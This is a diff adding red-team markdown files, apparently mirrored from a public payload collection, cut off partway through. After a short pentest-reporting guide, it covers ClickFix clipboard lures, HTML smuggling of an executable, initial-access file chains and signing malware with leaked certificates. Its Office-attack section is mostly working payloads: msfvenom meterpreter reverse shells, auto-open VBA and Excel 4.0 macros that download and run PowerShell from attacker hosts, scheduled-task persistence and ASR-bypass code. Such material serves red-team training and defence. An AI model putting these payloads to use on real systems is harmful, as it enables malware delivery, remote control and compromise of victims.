guidelines, including resources like OWASP. +* **Severity**: Include a severity score like CVSS. + +## General Guidelines + +* Use a **Passive Voice Form**. +* **Obfuscate** the secrets and Personal Identifiable Information: `passwords`, `token`, Identity cards, Pictures ... +* Include **captions** for all figures and images. +* Apply **shadows** to images to enhance their visual appeal. +* Customize the report for technical and non-technical stakeholders, ensuring clarity and comprehensibility for all readers. +* Explain the **business impact** and context of vulnerabilities to help prioritize remediation efforts effectively. +* Include **positive security practices** and areas of improvement to provide a balanced view. + +## Common Mistakes + +* **Edit the pictures** before importing them in the document: + * A cropped picture can be `uncropped` inside the Word document + * Word drawings added on top of the image can be removed, and the image is still present unobfuscated inside the Word archive + * Most of the time you don't `blur` enough the picture, it is always better to **add a dark/red square** on top of the data you want to obfuscate. + +* Unreadable screenshots + * Keep only the necessary elements in the screenshot + * Texts in the screenshot should be readable: not too long, not too small + * Avoid dark mode screenshots: people prints reports + * Don't use a transparent shell + * Highlight the important parts of the screenshot: [flameshot-org/flameshot](https://github.com/flameshot-org/flameshot), [greenshot/greenshot](https://github.com/greenshot/greenshot) + * Include the command string in the screenshot: `./exploit.py argument1 -verbose` + * Consider narrowing down the shell/browser windows for the screenshot: it will be inserted in "portrait mode" document (PDF). + +* Always **distribute a PDF** file to your customer, not a Word, LaTeX or Markdown file + * Word is an archive file, you can rename it as .zip to explore the content + * For sensitive files, you might want to **add a password** on the file + +* Sending data on a uncontrolled LLM + * Using a **LOCAL** Large Language Model to help you is fine. For example, you can use `ollama` + `openwebui` + `llama3` model on an on-premise machine disconnected from Internet + * Never send customer data or sensitive information on ChatGPT, Mistral AI, Gemini, etc, you don't know how the data will be processed and stored. + +* Neglecting **Proof of Concepts** (PoCs) + * Failing to include PoCs or detailed reproduction steps can hinder the remediation process. + * If the PoC is small, like a `curl` command, add it inside the Reproductions Steps. Otherwise add it to the Appendix and reference it inside the Reproductions Steps. + +* Bad writing + * Typos/Mispellings: use a writing aid + * Poor grammar + * Too much jargon + * Convoluted sentences + * No clear narrative, the report should tell a story. + * Avoid emotionally loaded terms: awful, bad, good, etc. + * Specify and quantify whenever possible, e.g: replace "several" by the amount of affected systems. + +* Lists + * Lists should be sorted alphabetically, numerically, by octet or by domain + * De-duping your list + +## Template Improvement + +* Use headings to format the document +* Create and use templates, custom styles: + * One custom style for inline code: `./myprogram -debug` + * One custom style for code block, including syntax highlighting and darker background. + + ```java + // Your First Program + class HelloWorld { + public static void main(String[] args) { + System.out.println("Hello, World!"); + } + } + ``` + +## References + +* [Best Practices for Writing Quality Vulnerability Reports - Krzysztof Pranczk](https://itnext.io/best-practices-for-writing-quality-vulnerability-reports-119882422a27) +* [Overview of technical writing courses - Google Technical Writing](https://developers.google.com/tech-writing/overview) +* [Part 1 - Things NOT to Do in Pentest Reports: Tips, Tricks, & Traps in Report Writing - Bronwen Aker- Feb 6, 2023](https://youtu.be/eWNqaFf60fg) +* [Part 2 - Things NOT to Do in Pentest Reports: Tips, Tricks, & Traps in Report Writing - Bronwen Aker- Feb 7, 2023](https://www.youtube.com/watch?v=2Op9Q2CY2lA) +* [Part 3 - Things NOT to Do in Pentest Reports: Tips, Tricks, & Traps in Report Writing - Bronwen Aker- Feb 7, 2023](https://www.youtube.com/watch?v=mZom07etvSk) +* [Part 1 - Professional Pentest Reporting - A Model for Clear Communication - Brian (BB) King - May 16, 2023](https://youtu.be/rM-MVSe4MiA) +* [Part 2 - Professional Pentest Reporting - A Model for Clear Communication - Brian (BB) King - May 17, 2023](https://www.youtube.com/watch?v=Uu3pardnHiI) +* [BHIS | Hack for Show, Report For Dough: Part 2 w/ BB King (1-Hour) - Brian (BB) King - Oct 28, 2021](https://youtu.be/bJ4gJVXPAS0) +* [Sort Your Lists - Penetration Test Reporting Tips - Bronwen Aker - Aug 15, 2022](https://br0nw3n.com/2022/08/sort-your-lists-penetration-test-reporting-tips/) +* [Things NOT to Do in Your Pentest Report | Offensive Con 2023 - Bronwen Aker - Aug 17, 2023](https://youtu.be/o2MOuM4JF4U) diff --git a/personas/_shared/internal-allthethings/redteam/.gitkeep b/personas/_shared/internal-allthethings/redteam/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/personas/_shared/internal-allthethings/redteam/access/clickfix.md b/personas/_shared/internal-allthethings/redteam/access/clickfix.md new file mode 100644 index 0000000..1f784eb --- /dev/null +++ b/personas/_shared/internal-allthethings/redteam/access/clickfix.md @@ -0,0 +1,33 @@ +# ClickFix + +> ClickFix is a social engineering attack that prompts users to unknowingly execute malicious code, usually through the Run Dialog (`Windows Key + R`). + +## FileFix + +Display a message to the user to lure him into copying and pasting a command in a shell or equivalent (File Explorer). + +```ps1 +To access the file, follow these steps: +1. Copy the file path below: + `C:\company\internal-secure\filedrive\HRPolicy.docx` +2. Open File Explorer and select the address bar (CTRL + L) +3. Paste the file path and press Enter +``` + +When the user clicks on the "COPY" button, it should set the content of his clipboard to the following. + +```ps1 +navigator.clipboard.writeText("powershell.exe -c ping example.com # C:\\company\\internal-secure\\filedrive\\HRPolicy.docx "); +``` + +Here, a few tricks have been added to improve the efficiency of the payload: + +* Multiple spaces to hide the start of the payload +* A comment with `#` containing a fake path to the document + +Executable files (e.g. .exe) executed through the File Explorer’s address bar have their Mark of The Web (MOTW) attribute removed. + +## References + +* [FileFix - A ClickFix Alternative - mrd0x - June 23, 2025](https://mrd0x.com/filefix-clickfix-alternative/) +* [FileFix (Part 2) - mrd0x - June 30, 2025](https://mrd0x.com/filefix-part-2/) diff --git a/personas/_shared/internal-allthethings/redteam/access/html-smuggling.md b/personas/_shared/internal-allthethings/redteam/access/html-smuggling.md new file mode 100644 index 0000000..fb92fe8 --- /dev/null +++ b/personas/_shared/internal-allthethings/redteam/access/html-smuggling.md @@ -0,0 +1,44 @@ +# HTML Smuggling + +## Summary + +- [Description](#description) +- [Executable Storage](#executable-storage) + +## Description + +HTML Smuggling consists of making a user to navigate to our crafted HTML page which automaticaly download our malicious file. + +## Executable storage + +We can store our payload in a Blob object => JS: `var blob = new Blob([data], {type: 'octet/stream'});` +To perform the download, we need to create an Object Url => JS: `var url = window.URL.createObjectURL(blob);` +With those two elements, we can create with Javascript our \ tag which will be used to download our malicious file: + +```Javascript +var a = document.createElement('a'); +document.body.appendChild(a); +a.style = 'display: none'; +var url = window.URL.createObjectURL(blob); +a.href = url; +a.download = fileName; +a.click(); +window.URL.revokeObjectURL(url); +``` + +To store ou payload, we use base64 encoding: + +```Javascript +function base64ToArrayBuffer(base64) { + var binary_string = window.atob(base64); + var len = binary_string.length; + var bytes = new Uint8Array( len ); + for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); } + return bytes.buffer; +} + +var file ='TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAA... +var data = base64ToArrayBuffer(file); +var blob = new Blob([data], {type: 'octet/stream'}); +var fileName = 'NotAMalware.exe'; +``` diff --git a/personas/_shared/internal-allthethings/redteam/access/initial-access.md b/personas/_shared/internal-allthethings/redteam/access/initial-access.md new file mode 100644 index 0000000..34b4f6f --- /dev/null +++ b/personas/_shared/internal-allthethings/redteam/access/initial-access.md @@ -0,0 +1,196 @@ +# Initial Access + +> Initial Access Files in the context of a Red Team exercise refer to the set of files, scripts, executables, or documents used by the Red Team to initially infiltrate the target system or network. These files often contain malicious payloads or are designed to exploit specific vulnerabilities in order to establish a foothold in the target environment. + +## Summary + +* [Complex Chains](#complex-chains) +* [Container](#container) +* [Payload](#payload) + * [Binary Files](#binary-files) + * [Code Execution Files](#code-execution-files) + * [Embedded Files](#embedded-files) +* [Code Signing](#code-signing) + +## Complex Chains + +> DELIVERY(CONTAINER(TRIGGER + PAYLOAD + DECOY)) + +* **DELIVERY**: means to deliver a pack full of files + * HTML Smuggling, SVG Smuggling, Attachments +* **CONTAINER**: archive bundling all infection dependencies + * ISO/IMG, ZIP, WIM +* **TRIGGER**: some way to run the payload + * LNK, CHM, ClickOnce applications +* **PAYLOAD**: the malware + * Binary Files + * Code Execution Files + * Embedded Files +* **DECOY**: used to continue pretext narration after detonating malware + * Typically open PDF files + +Examples: + +* HTML SMUGGLING(PASSWORD PROTECTED ZIP + ISO(LNK + IcedID + PNG)) used by [TA551/Storm-0303](https://thedfirreport.com/2023/08/28/html-smuggling-leads-to-domain-wide-ransomware/) + +## Container + +* **ISO/IMG** - can contain hidden files, gets **automounted** giving easy access to contained files (`powershell –c .\malware.exe`) +* **ZIP** - can contain hidden files (locate ZIP + unpack it + change dir + run Malware) +* **WIM** - Windows Image, builtin format used to deploy system features + + ```ps1 + # Mount/Unmount .WIM + PS> Mount-WindowsImage -ImagePath myarchive.wim -Path "C:\output\path\to\extract" -Index 1 + PS> Dismount-WindowsImage -Path "C:\output\path\to\extract" -Discard + ``` + +* **7-zip, RAR, GZ** - should get a native support on Windows 11 + +## Trigger + +* **LNK** +* **CHM** +* **ClickOnce** + +## Payload + +### Binary Files + +These files can be executed directly on the system without any third party. + +* **.exe** file, executable file can be run with a click +* **.dll** file, execute with `rundll32 main.dll,DllMain` + + ```c + #define WIN32_LEAN_AND_MEAN + #include + + extern "C" __declspec(dllexport) + DWORD WINAPI MessageBoxThread(LPVOID lpParam) { + MessageBox(NULL, "Hello world!", "Hello World!", NULL); + return 0; + } + + extern "C" __declspec(dllexport) + BOOL APIENTRY DllMain(HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved) { + switch (ul_reason_for_call) { + case DLL_PROCESS_ATTACH: + CreateThread(NULL, NULL, MessageBoxThread, NULL, NULL, NULL); + break; + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; + } + ``` + +* **.cpl** file, same as a .dll file with Cplapplet export + + ```c + #include "stdafx.h" + #include + + extern "C" __declspec(dllexport) LONG Cplapplet( + HWND hwndCpl, + UINT msg, + LPARAM lParam1, + LPARAM lParam2 + ) + { + MessageBoxA(NULL, "Hey there, I am now your control panel item you know.", "Control Panel", 0); + return 1; + } + + BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) + { + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + { + Cplapplet(NULL, NULL, NULL, NULL); + } + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; + } + ``` + +### Code Execution Files + +* Word with Macro (.doc, .docm) +* Excel library (.xll) +* Excel macro-enabled add-in file (.xlam) + + ```ps1 + xcopy /Q/R/S/Y/H/G/I evil.ini %APPDATA%\Microsoft\Excel\XLSTART + ``` + +* WSF files (.wsf) +* MSI installers (.msi) + + ```ps1 + powershell Unblock-File evil.msi; msiexec /q /i .\evil.msi + ``` + +* MSIX/APPX app package (.msix, .appx) +* ClickOnce (.application, .vsto, .appref-ms) +* Powershell scripts (.ps1) +* Windows Script Host scripts (.wsh, .vbs) + + ```ps1 + cscript.exe payload.vbs + wscript payload.vbs + wscript /e:VBScript payload.txt + ``` + +### Embedded Files + +* ICS Calendar Invites with Embedded Files + +## Code Signing + +Certificate can be **Expired**, **Revoked**, **Valid**. + +Many certificates leaked on the Internet and got re-used by Threat Actor. +Some of them can be found on VirusTotal, with the query : `content:{02 01 03 30}@4 AND NOT tag:peexe` + +In 2022, LAPSUS$ claimed responsibility for a cyberattack on NVIDIA, a major graphics card and AI technology manufacturer. As part of this attack, LAPSUS$ allegedly stole proprietary data from NVIDIA and threatened to leak it. The leak contained + +* Certificates can be password protected. Use [pfx2john.py](https://gist.github.com/tijme/86edd06c636ad06c306111fcec4125ba) + + ```ps1 + john --wordlist=/opt/wordlists/rockyou.txt --format=pfx pfx.hashes + ``` + +* Sign a binary with a certificate. + + ```ps1 + osslsigncode sign -pkcs12 certs/nvidia-2014.pfx -in mimikatz.exe -out generated/signed-mimikatz.exe -pass nv1d1aRules + ``` + +* The following files can be signed with a certificate + * executables: .exe, .dll, .ocx, .xll, .wll + * scripts: .vbs, .js, .ps1 + * installers: .msi, .msix, .appx, .msixbundle, .appxbundle + * drivers: .sys + * cabinets: .cab + * ClickOnce: .application, .manifest, .vsto + +## References + +* [Top 10 Payloads: Highlighting Notable and Trending Techniques - delivr.to](https://blog.delivr.to/delivr-tos-top-10-payloads-highlighting-notable-and-trending-techniques-fb5e9fdd9356) +* [Executing Code as a Control Panel Item through an Exported Cplapplet Function - @spotheplanet](https://www.ired.team/offensive-security/code-execution/executing-code-in-control-panel-item-through-an-exported-cplapplet-function) +* [Desperate Infection Chains - Multi-Step Initial Access Strategies by Mariusz Banach - x33fcon Youtube](https://youtu.be/CwNPP_Xfrts) +* [Desperate Infection Chains - Multi-Step Initial Access Strategies by Mariusz Banach - x33fcon PDF](https://binary-offensive.com/files/x33fcon%20-%20Desperate%20Infection%20Chains.pdf) +* [Red Macros Factory - https://binary-offensive.com/](https://binary-offensive.com/initial-access-framework) diff --git a/personas/_shared/internal-allthethings/redteam/access/office-attacks.md b/personas/_shared/internal-allthethings/redteam/access/office-attacks.md new file mode 100644 index 0000000..ef6aa89 --- /dev/null +++ b/personas/_shared/internal-allthethings/redteam/access/office-attacks.md @@ -0,0 +1,791 @@ +# Office - Attacks + +## Summary + +* [Office Products Features](#office-products-features) +* [Office Default Passwords](#office-default-passwords) +* [Excel](#excel) + * [XLSM - Hot Manchego](#xlsm---hot-manchego) + * [XLM - Macrome](#xlm---macrome) + * [XLM Excel 4.0 - SharpShooter](#xlm-excel-40---sharpshooter) + * [XLM Excel 4.0 - EXCELntDonut](#xlm-excel-40---excelntdonut) + * [XLM Excel 4.0 - EXEC](#xlm-excel-40---exec) + * [SLK - EXEC](#slk---exec) + * [XLL - EXEC](#xll---exec) +* [Word](#word) + * [DOCM - Metasploit](#docm---metasploit) + * [DOCM - Download and Execute](#docm---download-and-execute) + * [DOCM - Macro Creator](#docm---macro-creator) + * [DOCM - C# converted to Office VBA macro](#docm---c-converted-to-office-vba-macro) + * [DOCM - VBA Wscript](#docm---vba-wscript) + * [DOCM - VBA Shell Execute Comment](#docm---vba-shell-execute-comment) + * [DOCM - VBA Spawning via svchost.exe using Scheduled Task](#docm---vba-spawning-via-svchostexe-using-scheduled-task) + * [DCOM - WMI COM functions (VBA AMSI)](#docm---wmi-com-functions) + * [DOCM - Macro Pack - Macro and DDE](#docmxlm---macro-pack---macro-and-dde) + * [DOCM - BadAssMacros](#docm---badassmacros) + * [DOCM - CACTUSTORCH VBA Module](#docm---cactustorch-vba-module) + * [DOCM - MMG with Custom DL + Exec](#docm---mmg-with-custom-dl--exec) + * [VBA Obfuscation](#vba-obfuscation) + * [VBA Purging](#vba-purging) + * [OfficePurge](#officepurge) + * [EvilClippy](#evilclippy) + * [VBA - Offensive Security Template](#vba---offensive-security-template) + * [VBA - AMSI](#vba---amsi) + * [DOCX - Template Injection](#docx---template-injection) + * [DOCX - DDE](#docx---dde) +* [Visual Studio Tools for Office (VSTO)](#visual-studio-tools-for-office-vsto) +* [Office Macro Development](#office-macro-development) + * [Execute WinAPI](#execute-winapi) +* [References](#references) + +## Office Products Features + +![Overview of features supported by different Office products](https://www.securesystems.de/images/blog/offphish-phishing-revisited-in-2023/Office_documents_feature_overview.png) + +## Office Default Passwords + +By default, Excel does not set a password when saving a new file. However, some older versions of Excel had a default password that was used if the user did not set a password themselves. The default password was "`VelvetSweatshop`", and it could be used to open any file that did not have a password set. + +> If the user has not supplied an encryption password and the document is encrypted, the default encryption choice using the techniques specified in section 2.3 MUST be the following password: "`\x2f\x30\x31\x48\x61\x6e\x6e\x65\x73\x20\x52\x75\x65\x73\x63\x68\x65\x72\x2f\x30\x31`". - [2.4.2.3 Binary Document Write Protection Method 3](https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-offcrypto/57fc02f0-c1de-4fc6-908f-d146104662f5) + +| Product | Password | Supported Formats | +|------------|------------------|-------------------| +| Excel | VelvetSweatshop | all Excel formats | +| PowerPoint | 01Hannes Ruescher/01 | .pps .ppt | + +## Excel + +### XLSM - Hot Manchego + +> When using EPPlus, the creation of the Excel document varied significantly enough that most A/V didn't catch a simple lolbas payload to get a beacon on a target machine. + +* [FortyNorthSecurity/hot-manchego](https://github.com/FortyNorthSecurity/hot-manchego) + +```ps1 +Generate CS Macro and save it to Windows as vba.txt +PS> New-Item blank.xlsm +PS> C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:EPPlus.dll hot-manchego.cs +PS> .\hot-manchego.exe .\blank.xlsm .\vba.txt +``` + +### XLM - Macrome + +> XOR Obfuscation technique will NOT work with VBA macros since VBA is stored in a different stream that will not be encrypted when you password protect the document. This only works for Excel 4.0 macros. + +* [michaelweber/Macrome/Macrome-0.3.0-osx-x64.zip](https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-osx-x64.zip) +* [michaelweber/Macrome/Macrome-0.3.0-linux-x64.zip](https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-linux-x64.zip) +* [michaelweber/Macrome/Macrome-0.3.0-win-x64.zip](https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-win-x64.zip) + +```ps1 +# NOTE: The payload cannot contains NULL bytes. + +# Default calc +msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin +msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin +# Custom shellcode +msfvenom -p generic/custom PAYLOADFILE=payload86.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-86.bin -b '\x00' +msfvenom -p generic/custom PAYLOADFILE=payload64.bin -a x64 --platform windows -e x64/xor_dynamic -f raw -o shellcode-64.bin -b '\x00' +# MSF shellcode +msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.59 LPORT=443 -b '\x00' -a x64 --platform windows -e x64/xor_dynamic --platform windows -f raw -o msf64.bin +msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.59 LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw -o msf86.bin + +dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin +dotnet Macrome.dll build --decoy-document decoy_document.xls --payload shellcode-86.bin --payload64-bit shellcode-64.bin + +# For VBA Macro +Macrome build --decoy-document decoy_document.xls --payload-type Macro --payload macro_example.txt --output-file-name xor_obfuscated_macro_doc.xls --password VelvetSweatshop +``` + +When using Macrome build mode, the --password flag may be used to encrypt the generated document using XOR Obfuscation. If the default password of **VelvetSweatshop** is used when building the document, all versions of Excel will automatically decrypt the document without any additional user input. This password can only be set in Excel 2003. + +### XLM Excel 4.0 - SharpShooter + +* [mdsecactivebreach/SharpShooter](https://github.com/mdsecactivebreach/SharpShooter) + +```powershell +# Options +-rawscfile Path to raw shellcode file for stageless payloads +--scfile Path to shellcode file as CSharp byte array +python SharpShooter.py --payload slk --rawscfile shellcode.bin --output test + +# Creation of a VBA Macro +# creates a VBA macro file that uses the the XMLDOM COM interface to retrieve and execute a hosted stylesheet. +SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl + +# Creation of an Excel 4.0 SLK Macro Enabled Document +~# /!\ The shellcode cannot contain null bytes +msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00' +SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee + +msfvenom -p generic/custom PAYLOADFILE=payload86.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o /tmp/shellcode-86.bin -b '\x00' +SharpShooter.py --payload slk --output foo --rawscfile /tmp/shellcode-86.bin --smuggle --template mcafee +``` + +### XLM Excel 4.0 - EXCELntDonut + +* XLM (Excel 4.0) macros pre-date VBA and can be delivered in .xls files. +* AMSI has no visibility into XLM macros (for now) +* Anti-virus struggles with XLM (for now) +* XLM macros can access the Win32 API (virtualalloc, createthread, ...) + +1. Open an Excel Workbook. +2. Right click on "Sheet 1" and click "Insert...". Select "MS Excel 4.0 Macro". +3. Open your EXCELntDonut output file in a text editor and copy everything. +4. Paste the EXCELntDonut output text in Column A of your XLM Macro sheet. +5. At this point, everything is in column A. To fix that, we'll use the "Text-to-Columns"/"Convert" tool under the "Data" tab. +6. Highlight column A and open the "Text-to-Columns" tool. Select "Delimited" and then "Semicolon" on the next screen. Select "Finished". +7. Right-click on cell A1* and select "Run". This will execute your payload to make sure it works. +8. To enable auto-execution, we need to rename cell A1*to "Auto_Open". You can do this by clicking into cell A1 and then clicking into the box that says "A1"* just above Column A. Change the text from "A1"* to "Auto_Open". Save the file and verify that auto-execution works. + +:warning: If you're using the obfuscate flag, after the Text-to-columns operation, your macros won't start in A1. Instead, they'll start at least 100 columns to the right. Scroll horizontally until you see the first cell of text. Let's say that cell is HJ1. If that's the case, then complete steps 6-7 substituting HJ1 for A1 + +```ps1 +git clone https://github.com/FortyNorthSecurity/EXCELntDonut + +-f path to file containing your C# source code (exe or dll) +-c ClassName where method that you want to call lives (dll) +-m Method containing your executable payload (dll) +-r References needed to compile your C# code (ex: -r 'System.Management') +-o output filename +--sandbox Perform basic sandbox checks. +--obfuscate Perform basic macro obfuscation. + +# Fork +git clone https://github.com/d-sec-net/EXCELntDonut/blob/master/EXCELntDonut/drive.py +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -platform:x64 -out:GruntHttpX64.exe C:\Users\User\Desktop\covenSource.cs +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -platform:x86 -out:GruntHttpX86.exe C:\Users\User\Desktop\covenSource.cs +donut.exe -a1 -o GruntHttpx86.bin GruntHttpX86.exe +donut.exe -a2 -o GruntHttpx64.bin GruntHttpX64.exe +usage: drive.py [-h] --x64bin X64BIN --x86bin X86BIN [-o OUTPUTFILE] [--sandbox] [--obfuscate] +python3 drive.py --x64bin GruntHttpx64.bin --x86bin GruntHttpx86.bin +``` + +XLM: [Synzack/synzack.github.io/2020-05-25-Weaponizing-28-Year-Old-XLM-Macros.md](https://github.com/Synzack/synzack.github.io/blob/3dd471d4f15db9e82c20e2f1391a7a598b456855/_posts/2020-05-25-Weaponizing-28-Year-Old-XLM-Macros.md) + +### XLM Excel 4.0 - EXEC + +1. Right Click to the current sheet +2. Insert a **Macro IntL MS Excel 4.0** +3. Add the `EXEC` macro + + ```powershell + =EXEC("poWerShell IEX(nEw-oBject nEt.webclient).DownloAdStRiNg('http://10.10.10.10:80/update.ps1')") + =halt() + ``` + +4. Rename cell to **Auto_open** +5. Hide your macro worksheet by a right mouse click on the sheet name **Macro1** and selecting **Hide** + +### SLK - EXEC + +```ps1 +ID;P +O;E +NN;NAuto_open;ER101C1;KOut Flank;F +C;X1;Y101;K0;EEXEC("c:\shell.cmd") +C;X1;Y102;K0;EHALT() +E +``` + +### XLL - EXEC + +An "XLL" file is a type of file used primarily with Microsoft Excel. It stands for "Excel Add-In Library" and is a dynamic link library (DLL) specifically designed to be loaded into Microsoft Excel. These files extend Excel's functionality by adding extra features, functions, or capabilities that are not available in the standard installation of Excel. + +:warning: Excel is blocking untrusted XLL add-ins by default + +* Compile with: `cl.exe notepadXLL.c /LD /o notepad.xll` + + ```c + #include + + __declspec(dllexport) void __cdecl xlAutoOpen(void); + + void __cdecl xlAutoOpen() { + // Triggers when Excel opens + WinExec("cmd.exe /c notepad.exe", 1); + } + + BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) + { + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; + } + ``` + +## Word + +### DOCM - Metasploit + +```ps1 +use exploit/multi/fileformat/office_word_macro +set payload windows/meterpreter/reverse_http +set LHOST 10.10.10.10 +set LPORT 80 +set DisablePayloadHandler True +set PrependMigrate True +set FILENAME Financial2021.docm +exploit -j +``` + +### DOCM - Download and Execute + +> Detected by Defender (AMSI) + +```ps1 +Sub Execute() +Dim payload +payload = "powershell.exe -nop -w hidden -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$v=new-object net.webclient;$v.proxy=[Net.WebRequest]::GetSystemWebProxy();$v.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $v.downloadstring('http://10.10.10.10:4242/exploit');" +Call Shell(payload, vbHide) +End Sub +Sub Document_Open() +Execute +End Sub +``` + +### DOCM - Macro Creator + +* [Arno0x/PowerShellScripts/MacroCreator](https://github.com/Arno0x/PowerShellScripts/tree/master/MacroCreator) + +```ps1 +# Shellcode embedded in the body of the MS-Word document, no obfuscation, no sandbox evasion: +C:\PS> Invoke-MacroCreator -i meterpreter_shellcode.raw -t shellcode -d body +# Shellcode delivered over WebDAV covert channel, with obfuscation, no sandbox evasion: +C:\PS> Invoke-MacroCreator -i meterpreter_shellcode.raw -t shellcode -url webdavserver.com -d webdav -o +# Scriptlet delivered over bibliography source covert channel, with obfuscation, with sandbox evasion: +C:\PS> Invoke-MacroCreator -i regsvr32.sct -t file -url 'http://my.server.com/sources.xml' -d biblio -c 'regsvr32 /u /n /s /i:regsvr32.sct scrobj.dll' -o -e +``` + +### DOCM - C# converted to Office VBA macro + +> A message will prompt to the user saying that the file is corrupt and automatically close the excel document. THIS IS NORMAL BEHAVIOR! This is tricking the victim to thinking the excel document is corrupted. + +* [trustedsec/unicorn](https://github.com/trustedsec/unicorn) + +```ps1 +python unicorn.py payload.cs cs macro +``` + +### DOCM - VBA Wscript + +```ps1 +Sub parent_change() + Dim objOL + Set objOL = CreateObject("Outlook.Application") + Set shellObj = objOL.CreateObject("Wscript.Shell") + shellObj.Run("notepad.exe") +End Sub +Sub AutoOpen() + parent_change +End Sub +Sub Auto_Open() + parent_change +End Sub +``` + +```vb +CreateObject("WScript.Shell").Run "calc.exe" +CreateObject("WScript.Shell").Exec "notepad.exe" +``` + +### DOCM - VBA Shell Execute Comment + +Set your command payload inside the **Comment** metadata of the document. + +```vb +Sub beautifulcomment() + Dim p As DocumentProperty + For Each p In ActiveDocument.BuiltInDocumentProperties + If p.Name = "Comments" Then + Shell (p.Value) + End If + Next +End Sub + +Sub AutoExec() + beautifulcomment +End Sub + +Sub AutoOpen() + beautifulcomment +End Sub +``` + +### DOCM - VBA Spawning via svchost.exe using Scheduled Task + +```vb +Sub AutoOpen() + Set service = CreateObject("Schedule.Service") + Call service.Connect + Dim td: Set td = service.NewTask(0) + td.RegistrationInfo.Author = "Kaspersky Corporation" + td.settings.StartWhenAvailable = True + td.settings.Hidden = False + Dim triggers: Set triggers = td.triggers + Dim trigger: Set trigger = triggers.Create(1) + Dim startTime: ts = DateAdd("s", 30, Now) + startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2) + trigger.StartBoundary = startTime + trigger.ID = "TimeTriggerId" + Dim Action: Set Action = td.Actions.Create(0) + Action.Path = "C:\Windows\System32\powershell.exe" + Action.Arguments = "-nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.1.59:80/fezsdfqs'))" + Call service.GetFolder("\").RegisterTaskDefinition("AVUpdateTask", td, 6, , , 3) +End Sub +Rem powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.59:80/fezsdfqs'))" +``` + +### DOCM - WMI COM functions + +Basic WMI exec (detected by Defender) : `r = GetObject("winmgmts:\\.\root\cimv2:Win32_Process").Create("calc.exe", null, null, intProcessID)` + +```vb +Sub wmi_exec() + strComputer = "." + Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") + Set objStartUp = objWMIService.Get("Win32_ProcessStartup") + Set objProc = objWMIService.Get("Win32_Process") + Set procStartConfig = objStartUp.SpawnInstance_ + procStartConfig.ShowWindow = 1 + objProc.Create "powershell.exe", Null, procStartConfig, intProcessID +End Sub +``` + +* [infosecn1nja/ASR Rules Bypass.vba](https://gist.github.com/infosecn1nja/24a733c5b3f0e5a8b6f0ca2cf75967e3) +* + +```vb +Sub ASR_bypass_create_child_process_rule5() + Const HIDDEN_WINDOW = 0 + strComputer = "." + Set objWMIService = GetObject("win" & "mgmts" & ":\\" & strComputer & "\root" & "\cimv2") + Set objStartup = objWMIService.Get("Win32_" & "Process" & "Startup") + Set objConfig = objStartup.SpawnInstance_ + objConfig.ShowWindow = HIDDEN_WINDOW + Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root" & "\cimv2" & ":Win32_" & "Process") + objProcess.Create "cmd.exe /c powershell.exe IEX ( IWR -uri 'http://10.10.10.10/stage.ps1')", Null, objConfig, intProcessID +End Sub + +Sub AutoExec() + ASR_bypass_create_child_process_rule5 +End Sub + +Sub AutoOpen() + ASR_bypass_create_child_process_rule5 +End Sub +``` + +```vb +Const ShellWindows = "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}" +Set SW = GetObject("new:" & ShellWindows).Item() +SW.Document.Application.ShellExecute "cmd.exe", "/c powershell.exe", "C:\Windows\System32", Null, 0 +``` + +### DOCM/XLM - Macro Pack - Macro and DDE + +> Only the community version is available online. + +* [sevagas/macro_pack](https://github.com/sevagas/macro_pack/releases/download/v2.0.1/macro_pack.exe) + +```powershell +# Options +-G, --generate=OUTPUT_FILE_PATH. Generates a file. +-t, --template=TEMPLATE_NAME Use code template already included in MacroPack +-o, 